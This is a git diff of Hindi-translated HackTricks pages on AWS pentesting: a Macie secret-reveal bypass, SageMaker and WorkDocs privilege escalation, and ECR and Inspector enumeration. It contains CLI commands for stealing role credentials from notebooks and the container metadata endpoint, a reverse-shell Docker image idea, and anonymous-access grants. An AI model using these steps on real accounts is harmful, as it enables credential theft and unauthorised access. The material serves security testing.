एक **बायपास** पहचाना गया है जहाँ एक हमलावर जिसके पास पर्याप्त अनुमतियाँ हैं, **एक ही नाम के साथ एक फ़ाइल को फिर से अपलोड कर सकता है** लेकिन जिसमें विभिन्न, गैर-संवेदनशील डमी डेटा होता है। इससे Macie को नई अपलोड की गई फ़ाइल को मूल खोज के साथ जोड़ने का कारण बनता है, जिससे हमलावर **"Reveal Sample" फीचर** का उपयोग करके पहले से पहचानित सीक्रेट को निकाल सकता है। यह समस्या एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करती है, क्योंकि जो सीक्रेट हटाए गए थे वे इस विधि के माध्यम से पुनः प्राप्त किए जा सकते हैं। ![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) **पुन: उत्पन्न करने के चरण:** -1. एक फ़ाइल (जैसे, `test-secret.txt`) को संवेदनशील डेटा के साथ S3 बकेट में अपलोड करें, जैसे कि AWS सीक्रेट की। AWS Macie के स्कैन और खोज उत्पन्न होने की प्रतीक्षा करें। +1. एक फ़ाइल (जैसे, `test-secret.txt`) को संवेदनशील डेटा के साथ S3 बकेट में अपलोड करें, जैसे कि AWS सीक्रेट की। AWS Macie के स्कैन और खोज उत्पन्न करने की प्रतीक्षा करें। -2. AWS Macie खोजों पर जाएं, उत्पन्न खोज को खोजें, और पता लगाए गए सीक्रेट को देखने के लिए **Reveal Sample** फीचर का उपयोग करें। +2. AWS Macie खोजों पर जाएं, उत्पन्न खोज को खोजें, और पहचानित सीक्रेट देखने के लिए **Reveal Sample** फीचर का उपयोग करें। 3. S3 बकेट से `test-secret.txt` को हटा दें और सत्यापित करें कि यह अब मौजूद नहीं है। @@ -30,8 +30,9 @@ AWS Macie एक सुरक्षा सेवा है जो AWS वात 5. AWS Macie खोजों पर वापस जाएं, मूल खोज तक पहुँचें, और फिर से **Reveal Sample** पर क्लिक करें। -6. देखें कि Macie अभी भी मूल सीक्रेट को प्रकट करता है, भले ही फ़ाइल को हटा दिया गया हो और इसे **विभिन्न खातों से विभिन्न सामग्री के साथ प्रतिस्थापित किया गया हो, हमारे मामले में यह हमलावर के खाते होगा**। +6. देखें कि Macie अभी भी मूल सीक्रेट को प्रकट करता है, भले ही फ़ाइल को हटा दिया गया हो और इसे **विभिन्न खातों से विभिन्न सामग्री के साथ प्रतिस्थापित किया गया हो, हमारे मामले में यह हमलावर का खाता होगा**। **सारांश:** -यह भेद्यता एक हमलावर को, जिसके पास पर्याप्त AWS IAM अनुमतियाँ हैं, पहले से पता किए गए सीक्रेट को पुनः प्राप्त करने की अनुमति देती है, भले ही मूल फ़ाइल S3 से हटा दी गई हो। यदि एक AWS सीक्रेट की, एक्सेस टोकन, या अन्य संवेदनशील क्रेडेंशियल उजागर हो जाता है, तो एक हमलावर इस दोष का लाभ उठाकर इसे पुनः प्राप्त कर सकता है और AWS संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है। इससे विशेषाधिकार वृद्धि, अनधिकृत डेटा पहुँच, या क्लाउड संपत्तियों के आगे के समझौते का परिणाम हो सकता है, जिससे डेटा उल्लंघन और सेवा में व्यवधान हो सकता है। +यह भेद्यता एक हमलावर को पर्याप्त AWS IAM अनुमतियों के साथ पहले से पहचानित सीक्रेट को पुनः प्राप्त करने की अनुमति देती है, भले ही मूल फ़ाइल S3 से हटा दी गई हो। यदि एक AWS सीक्रेट की, एक्सेस टोकन, या अन्य संवेदनशील क्रेडेंशियल उजागर हो जाते हैं, तो एक हमलावर इस दोष का लाभ उठाकर इसे पुनः प्राप्त कर सकता है और AWS संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है। इससे विशेषाधिकार वृद्धि, अनधिकृत डेटा पहुँच, या क्लाउड संपत्तियों के आगे के समझौते का कारण बन सकता है, जिससे डेटा उल्लंघन और सेवा में व्यवधान हो सकता है। +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index de55b1cdb..20371a574 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -1,8 +1,10 @@ # AWS - Sagemaker Privesc +{{#include ../../../banners/hacktricks-training.md}} + ## AWS - Sagemaker Privesc -{{#include ../../../banners/hacktricks-training.md}} + ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` @@ -12,12 +14,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -`NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक इंस्टेंस का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं जिसका उपयोग हम नोटबुक इंस्टेंस तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो: +उत्तर में एक `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं, जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\` पर क्लिक करें, फिर "Launcher" टैब पर स्क्रॉल करें और "Other" अनुभाग के तहत "Terminal" बटन पर क्लिक करें। +ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\`\` पर क्लिक करें, फिर “Launcher” टैब पर स्क्रॉल करें और “Other” अनुभाग के तहत “Terminal” बटन पर क्लिक करें। अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है। @@ -25,7 +27,7 @@ aws sagemaker create-presigned-notebook-instance-url \ ### `sagemaker:CreatePresignedNotebookInstanceUrl` -यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से) सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए गए अनुसार क्रेडेंशियल्स चुरा सकते हैं**। +यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से खोज सकते हैं) के साथ सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए अनुसार क्रेडेंशियल्स चुरा सकते हैं**। ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` @@ -33,7 +35,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name [!WARNING] -> यह परिदृश्य पिछले वाले की तुलना में अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिव शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)। +> यह परिदृश्य पिछले वाले की तुलना में शोषण करने के लिए अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिवर्स शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)। > > ```bash > # Docker छवि बनाएँ > mkdir /tmp/rev -> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य "train" को कॉल करने जा रही है -> ## यही कारण है कि मैं रिव शेल को /bin/train में रख रहा हूँ +> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य को "train" कहा जाएगा +> ## यही कारण है कि मैं रिवर्स शेल को /bin/train में रख रहा हूँ > ## और के मान सेट करें > cat > /tmp/rev/Dockerfile < FROM ubuntu @@ -94,7 +96,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण नौकरी** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\ +उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण कार्य** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\ _मैंने समय की कमी के कारण इसका लाभ नहीं उठाया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_ ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 67be6712d..17a357f35 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -1,5 +1,7 @@ # AWS - WorkDocs Privesc +{{#include ../../../banners/hacktricks-training.md}} + ## WorkDocs WorkDocs के बारे में अधिक जानकारी के लिए देखें: @@ -15,7 +17,7 @@ WorkDocs के बारे में अधिक जानकारी के # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` फाइलों में संवेदनशील जानकारी हो सकती है, इन्हें पढ़ें: ```bash @@ -30,7 +32,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -यदि आपके पास कुछ पढ़ने का एक्सेस नहीं है, तो आप बस इसे प्रदान कर सकते हैं +यदि आपके पास कुछ पढ़ने का अधिकार नहीं है, तो आप बस इसे प्रदान कर सकते हैं। ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -38,9 +40,11 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -आप एक उपयोगकर्ता को ZOCALO_ADMIN समूह में सेट करके व्यवस्थापक बना सकते हैं।\ +आप एक उपयोगकर्ता को समूह ZOCALO_ADMIN में सेट करके व्यवस्थापक बना सकते हैं।\ इसके लिए [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) से निर्देशों का पालन करें। उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और `/workdocs/index.html#/admin` में व्यवस्थापक पैनल तक पहुँचें। -मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया। +मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया। + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 78b015a9f..ab84b3491 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -1,12 +1,10 @@ # AWS - ECR Enum -## AWS - ECR Enum - {{#include ../../../banners/hacktricks-training.md}} -### ECR +## ECR -#### Basic Information +### Basic Information Amazon **Elastic Container Registry** (Amazon ECR) एक **managed container image registry service** है। यह एक ऐसा वातावरण प्रदान करने के लिए डिज़ाइन किया गया है जहाँ ग्राहक अपने कंटेनर इमेज के साथ अच्छी तरह से ज्ञात इंटरफेस का उपयोग करके बातचीत कर सकते हैं। विशेष रूप से, Docker CLI या किसी भी पसंदीदा क्लाइंट का उपयोग समर्थित है, जो कंटेनर इमेज को पुश, पुल और प्रबंधित करने जैसी गतिविधियों को सक्षम बनाता है। @@ -20,13 +18,13 @@ ECR 2 प्रकार की वस्तुओं से मिलकर ब - **Private by default**: Amazon ECR प्राइवेट रजिस्ट्रियों में संग्रहीत कंटेनर इमेज **केवल अधिकृत उपयोगकर्ताओं** के लिए उपलब्ध हैं जो आपके AWS खाते के भीतर हैं या जिन्हें अनुमति दी गई है। - एक **private repository** का URI इस प्रारूप का अनुसरण करता है `.dkr.ecr..amazonaws.com/` -- **Access control**: आप **IAM नीतियों** का उपयोग करके अपनी निजी कंटेनर इमेज तक पहुँच को **नियंत्रित** कर सकते हैं, और आप उपयोगकर्ताओं या भूमिकाओं के आधार पर बारीक अनुमति कॉन्फ़िगर कर सकते हैं। +- **Access control**: आप **IAM नीतियों** का उपयोग करके अपनी प्राइवेट कंटेनर इमेज तक पहुँच को **नियंत्रित** कर सकते हैं, और आप उपयोगकर्ताओं या भूमिकाओं के आधार पर बारीक अनुमति कॉन्फ़िगर कर सकते हैं। - **Integration with AWS services**: Amazon ECR प्राइवेट रजिस्ट्रियाँ अन्य AWS सेवाओं के साथ आसानी से **एकीकृत** की जा सकती हैं, जैसे EKS, ECS... - **Other private registry options**: - Tag immutability कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि टैग इम्यूटेबिलिटी सक्षम है तो यह **पूर्व-निर्धारित टैग** के साथ इमेज **पुश** को ओवरराइट करने से **रोक देगा**। - **Encryption type** कॉलम रिपॉजिटरी की एन्क्रिप्शन विशेषताओं को सूचीबद्ध करता है, यह डिफ़ॉल्ट एन्क्रिप्शन प्रकार जैसे AES-256 दिखाता है, या **KMS** सक्षम एन्क्रिप्शन है। -- **Pull through cache** कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि Pull through cache स्थिति सक्रिय है तो यह **आपकी निजी रिपॉजिटरी में एक बाहरी सार्वजनिक रिपॉजिटरी में रिपॉजिटरी को कैश करेगा**। -- विशिष्ट **IAM नीतियाँ** विभिन्न **अनुमतियों** को देने के लिए कॉन्फ़िगर की जा सकती हैं। +- **Pull through cache** कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि Pull through cache स्थिति सक्रिय है तो यह **आपकी प्राइवेट रिपॉजिटरी में एक बाहरी सार्वजनिक रिपॉजिटरी में रिपॉजिटरी को कैश करेगा**। +- विशिष्ट **IAM नीतियों** को विभिन्न **अनुमतियों** को देने के लिए कॉन्फ़िगर किया जा सकता है। - **Scanning configuration** इमेज में भेद्यता के लिए स्कैन करने की अनुमति देता है जो रिपॉजिटरी के अंदर संग्रहीत हैं। 2. **Public Registries**: @@ -36,10 +34,10 @@ ECR 2 प्रकार की वस्तुओं से मिलकर ब **Repositories** -ये **इमेज** हैं जो **private registry** में या **public** में हैं। +ये **images** हैं जो **private registry** में या **public** में हैं। > [!NOTE] -> ध्यान दें कि एक इमेज को रिपॉजिटरी में अपलोड करने के लिए, **ECR रिपॉजिटरी का नाम इमेज के समान होना चाहिए**। +> ध्यान दें कि एक इमेज को रिपॉजिटरी में अपलोड करने के लिए, **ECR repository का नाम इमेज के नाम के समान होना चाहिए**। #### Registry & Repository Policies @@ -47,7 +45,7 @@ ECR 2 प्रकार की वस्तुओं से मिलकर ब
-#### Enumeration +### Enumeration ```bash # Get repos aws ecr describe-repositories @@ -67,33 +65,33 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` -#### अनधिकृत Enum +### Unauthenticated Enum {{#ref}} ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### प्रिवेस्क +### Privesc -अगली पृष्ठ पर आप **ECR अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: +निम्नलिखित पृष्ठ पर आप **ECR अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### पोस्ट एक्सप्लोइटेशन +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### स्थिरता +### Persistence {{#ref}} ../aws-persistence/aws-ecr-persistence.md {{#endref}} -## संदर्भ +## References - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index ae30ba1fd..49aa13998 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1 +1,3 @@ # AWS - सुरक्षा और पहचान सेवाएँ + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 4542fb869..48150f3e1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -1,12 +1,10 @@ # AWS - Inspector Enum -## AWS - Inspector Enum - {{#include ../../../../banners/hacktricks-training.md}} -### Inspector +## Inspector -Amazon Inspector एक उन्नत, स्वचालित भेद्यता प्रबंधन सेवा है जिसे आपके AWS वातावरण की सुरक्षा बढ़ाने के लिए डिज़ाइन किया गया है। यह सेवा लगातार Amazon EC2 उदाहरणों, Amazon ECR में कंटेनर छवियों, Amazon ECS, और AWS Lambda कार्यों को भेद्यताओं और अनपेक्षित नेटवर्क एक्सपोजर के लिए स्कैन करती है। एक मजबूत भेद्यता खुफिया डेटाबेस का लाभ उठाकर, Amazon Inspector विस्तृत निष्कर्ष प्रदान करता है, जिसमें गंभीरता स्तर और सुधार सिफारिशें शामिल हैं, जो संगठनों को सक्रिय रूप से सुरक्षा जोखिमों की पहचान और समाधान में मदद करती हैं। यह व्यापक दृष्टिकोण विभिन्न AWS सेवाओं में एक मजबूत सुरक्षा स्थिति सुनिश्चित करता है, अनुपालन और जोखिम प्रबंधन में सहायता करता है। +Amazon Inspector एक उन्नत, स्वचालित भेद्यता प्रबंधन सेवा है जिसे आपके AWS वातावरण की सुरक्षा बढ़ाने के लिए डिज़ाइन किया गया है। यह सेवा लगातार Amazon EC2 उदाहरणों, Amazon ECR में कंटेनर छवियों, Amazon ECS, और AWS Lambda कार्यों के लिए भेद्यताओं और अनपेक्षित नेटवर्क एक्सपोजर के लिए स्कैन करती है। एक मजबूत भेद्यता खुफिया डेटाबेस का लाभ उठाकर, Amazon Inspector विस्तृत निष्कर्ष प्रदान करता है, जिसमें गंभीरता स्तर और सुधार सिफारिशें शामिल हैं, जो संगठनों को सक्रिय रूप से सुरक्षा जोखिमों की पहचान और समाधान में मदद करती हैं। यह व्यापक दृष्टिकोण विभिन्न AWS सेवाओं में एक मजबूत सुरक्षा स्थिति सुनिश्चित करता है, अनुपालन और जोखिम प्रबंधन में सहायता करता है। ### Key elements @@ -18,41 +16,41 @@ Amazon Inspector में निष्कर्ष EC2 उदाहरणों - **Closed**: निष्कर्ष का समाधान किया गया है। - **Suppressed**: निष्कर्ष को एक या अधिक **suppression rules** के कारण इस स्थिति के साथ चिह्नित किया गया है। -निष्कर्षों को अगले तीन प्रकारों में भी वर्गीकृत किया गया है: +निष्कर्षों को अगले तीन प्रकारों में भी वर्गीकृत किया जाता है: - **Package**: ये निष्कर्ष आपके संसाधनों पर स्थापित सॉफ़्टवेयर पैकेज में भेद्यताओं से संबंधित हैं। उदाहरणों में पुराने पुस्तकालय या ज्ञात सुरक्षा मुद्दों वाले निर्भरताएँ शामिल हैं। - **Code**: इस श्रेणी में आपके AWS संसाधनों पर चलने वाले अनुप्रयोगों के कोड में पाए जाने वाले भेद्यताएँ शामिल हैं। सामान्य मुद्दे कोडिंग त्रुटियाँ या असुरक्षित प्रथाएँ हैं जो सुरक्षा उल्लंघनों का कारण बन सकती हैं। -- **Network**: नेटवर्क निष्कर्ष संभावित एक्सपोजर की पहचान करते हैं जो नेटवर्क कॉन्फ़िगरेशन में हो सकते हैं जिन्हें हमलावरों द्वारा शोषित किया जा सकता है। इनमें खुले पोर्ट, असुरक्षित नेटवर्क प्रोटोकॉल, और गलत कॉन्फ़िगर किए गए सुरक्षा समूह शामिल हैं। +- **Network**: नेटवर्क निष्कर्ष संभावित एक्सपोजर की पहचान करते हैं जो हमलावरों द्वारा शोषित किए जा सकते हैं। इनमें खुले पोर्ट, असुरक्षित नेटवर्क प्रोटोकॉल, और गलत कॉन्फ़िगर किए गए सुरक्षा समूह शामिल हैं। #### Filters and Suppression Rules -Amazon Inspector में फ़िल्टर और दमन नियम निष्कर्षों का प्रबंधन और प्राथमिकता देने में मदद करते हैं। फ़िल्टर आपको गंभीरता या संसाधन प्रकार जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को परिष्कृत करने की अनुमति देते हैं। दमन नियम आपको कुछ निष्कर्षों को दबाने की अनुमति देते हैं जिन्हें कम जोखिम माना जाता है, जिन्हें पहले ही कम किया गया है, या किसी अन्य महत्वपूर्ण कारण से, जिससे वे आपकी सुरक्षा रिपोर्ट को अधिभारित करने से रोकते हैं और आपको अधिक महत्वपूर्ण मुद्दों पर ध्यान केंद्रित करने की अनुमति देते हैं। +Amazon Inspector में फ़िल्टर और दमन नियम निष्कर्षों का प्रबंधन और प्राथमिकता देने में मदद करते हैं। फ़िल्टर आपको गंभीरता या संसाधन प्रकार जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को परिष्कृत करने की अनुमति देते हैं। दमन नियम आपको कुछ निष्कर्षों को दबाने की अनुमति देते हैं जिन्हें कम जोखिम माना जाता है, पहले ही कम किया गया है, या किसी अन्य महत्वपूर्ण कारण से, जिससे आपके सुरक्षा रिपोर्टों को अधिभारित होने से रोका जा सके और आप अधिक महत्वपूर्ण मुद्दों पर ध्यान केंद्रित कर सकें। #### Software Bill of Materials (SBOM) -Amazon Inspector में सॉफ़्टवेयर बिल ऑफ़ मटेरियल्स (SBOM) एक निर्यात योग्य नेस्टेड इन्वेंटरी सूची है जो सॉफ़्टवेयर पैकेज के भीतर सभी घटकों का विवरण देती है, जिसमें पुस्तकालय और निर्भरताएँ शामिल हैं। SBOMs सॉफ़्टवेयर आपूर्ति श्रृंखला में पारदर्शिता प्रदान करने में मदद करते हैं, बेहतर भेद्यता प्रबंधन और अनुपालन सक्षम करते हैं। ये ओपन-सोर्स और तृतीय-पक्ष सॉफ़्टवेयर घटकों से संबंधित जोखिमों की पहचान और कम करने के लिए महत्वपूर्ण हैं। +Amazon Inspector में सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOM) एक निर्यात योग्य नेस्टेड इन्वेंटरी सूची है जो एक सॉफ़्टवेयर पैकेज के भीतर सभी घटकों का विवरण देती है, जिसमें पुस्तकालय और निर्भरताएँ शामिल हैं। SBOMs सॉफ़्टवेयर आपूर्ति श्रृंखला में पारदर्शिता प्रदान करने में मदद करते हैं, बेहतर भेद्यता प्रबंधन और अनुपालन सक्षम करते हैं। ये ओपन-सोर्स और तृतीय-पक्ष सॉफ़्टवेयर घटकों से संबंधित जोखिमों की पहचान और कम करने के लिए महत्वपूर्ण हैं। ### Key features #### Export findings -Amazon Inspector निष्कर्षों को Amazon S3 Buckets, Amazon EventBridge और AWS Security Hub में निर्यात करने की क्षमता प्रदान करता है, जिससे आप पहचानी गई भेद्यताओं और एक्सपोजर की विस्तृत रिपोर्ट उत्पन्न कर सकते हैं जो आगे विश्लेषण या किसी विशेष तिथि और समय पर साझा करने के लिए होती है। यह सुविधा विभिन्न आउटपुट प्रारूपों जैसे CSV और JSON का समर्थन करती है, जिससे अन्य उपकरणों और प्रणालियों के साथ एकीकृत करना आसान हो जाता है। निर्यात कार्यक्षमता रिपोर्ट में शामिल डेटा को अनुकूलित करने की अनुमति देती है, जिससे आप गंभीरता, संसाधन प्रकार, या तिथि सीमा जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को फ़िल्टर कर सकते हैं और डिफ़ॉल्ट रूप से आपके सभी निष्कर्षों को वर्तमान AWS क्षेत्र में सक्रिय स्थिति के साथ शामिल कर सकते हैं। +Amazon Inspector निष्कर्षों को Amazon S3 Buckets, Amazon EventBridge और AWS Security Hub में निर्यात करने की क्षमता प्रदान करता है, जिससे आप पहचानी गई भेद्यताओं और एक्सपोजर की विस्तृत रिपोर्ट उत्पन्न कर सकते हैं। यह सुविधा विभिन्न आउटपुट प्रारूपों जैसे CSV और JSON का समर्थन करती है, जिससे अन्य उपकरणों और प्रणालियों के साथ एकीकृत करना आसान हो जाता है। निर्यात कार्यक्षमता रिपोर्टों में शामिल डेटा को अनुकूलित करने की अनुमति देती है, जिससे आप गंभीरता, संसाधन प्रकार, या दिनांक सीमा जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को फ़िल्टर कर सकते हैं और डिफ़ॉल्ट रूप से आपके सभी निष्कर्षों को वर्तमान AWS क्षेत्र में सक्रिय स्थिति के साथ शामिल कर सकते हैं। निष्कर्षों को निर्यात करते समय, डेटा को निर्यात के दौरान एन्क्रिप्ट करने के लिए एक की प्रबंधन सेवा (KMS) कुंजी आवश्यक है। KMS कुंजी सुनिश्चित करती हैं कि निर्यातित निष्कर्ष अनधिकृत पहुंच से सुरक्षित हैं, संवेदनशील भेद्यता जानकारी के लिए एक अतिरिक्त सुरक्षा परत प्रदान करती हैं। #### Amazon EC2 instances scanning -Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद्यताओं और सुरक्षा मुद्दों का पता लगाने के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है। Inspector ने EC2 उदाहरण से निकाले गए मेटाडेटा की तुलना सुरक्षा सलाहकारों के नियमों के खिलाफ की ताकि पैकेज भेद्यताओं और नेटवर्क पहुंच समस्याओं का उत्पादन किया जा सके। ये स्कैन **एजेंट-आधारित** या **एजेंटलेस** विधियों के माध्यम से किए जा सकते हैं, जो आपके खाते की **स्कैन मोड** सेटिंग्स कॉन्फ़िगरेशन पर निर्भर करता है। +Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद्यताओं और सुरक्षा मुद्दों का पता लगाने के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है। Inspector ने EC2 उदाहरण से निकाले गए मेटाडेटा की तुलना सुरक्षा सलाहकारों के नियमों से की ताकि पैकेज भेद्यताओं और नेटवर्क पहुंच समस्याओं का उत्पादन किया जा सके। ये स्कैन **एजेंट-आधारित** या **एजेंटलेस** विधियों के माध्यम से किए जा सकते हैं, जो आपके खाते की **स्कैन मोड** सेटिंग्स कॉन्फ़िगरेशन पर निर्भर करते हैं। - **Agent-Based**: गहन स्कैन करने के लिए AWS Systems Manager (SSM) एजेंट का उपयोग करता है। यह विधि उदाहरण से सीधे डेटा संग्रह और विश्लेषण की अनुमति देती है। -- **Agentless**: एक हल्का विकल्प प्रदान करता है जिसे उदाहरण पर एजेंट स्थापित करने की आवश्यकता नहीं होती है, EC2 उदाहरण के प्रत्येक वॉल्यूम का EBS स्नैपशॉट बनाता है, भेद्यताओं की तलाश करता है, और फिर इसे हटा देता है; स्कैनिंग के लिए मौजूदा AWS अवसंरचना का लाभ उठाता है। +- **Agentless**: यह एक हल्का विकल्प प्रदान करता है जिसे उदाहरण पर एजेंट स्थापित करने की आवश्यकता नहीं होती है, EC2 उदाहरण के प्रत्येक वॉल्यूम का EBS स्नैपशॉट बनाता है, भेद्यताओं की तलाश करता है, और फिर इसे हटा देता है; स्कैनिंग के लिए मौजूदा AWS अवसंरचना का लाभ उठाता है। स्कैन मोड यह निर्धारित करता है कि EC2 स्कैन करने के लिए कौन सी विधि का उपयोग किया जाएगा: - **Agent-Based**: गहन निरीक्षण के लिए EC2 उदाहरणों पर SSM एजेंट स्थापित करना शामिल है। -- **Hybrid Scanning**: कवरेज को अधिकतम करने और प्रदर्शन प्रभाव को कम करने के लिए एजेंट-आधारित और एजेंटलेस विधियों को संयोजित करता है। उन EC2 उदाहरणों में जहां SSM एजेंट स्थापित है, Inspector एजेंट-आधारित स्कैन करेगा, और जहां कोई SSM एजेंट नहीं है, वहां स्कैन एजेंटलेस किया जाएगा। +- **Hybrid Scanning**: कवरेज को अधिकतम करने और प्रदर्शन प्रभाव को कम करने के लिए एजेंट-आधारित और एजेंटलेस विधियों को मिलाता है। उन EC2 उदाहरणों में जहां SSM एजेंट स्थापित है, Inspector एजेंट-आधारित स्कैन करेगा, और जहां कोई SSM एजेंट नहीं है, वहां स्कैन एजेंटलेस किया जाएगा। -एक और महत्वपूर्ण विशेषता EC2 Linux उदाहरणों के लिए **गहन निरीक्षण** है। यह विशेषता EC2 Linux उदाहरणों के सॉफ़्टवेयर और कॉन्फ़िगरेशन का गहन विश्लेषण प्रदान करती है, जिसमें ऑपरेटिंग सिस्टम की भेद्यताएँ, अनुप्रयोग की भेद्यताएँ, और गलत कॉन्फ़िगरेशन शामिल हैं, जो एक व्यापक सुरक्षा मूल्यांकन सुनिश्चित करती हैं। यह **कस्टम पथों** और इसके सभी उप-निर्देशिकाओं के निरीक्षण के माध्यम से प्राप्त किया जाता है। 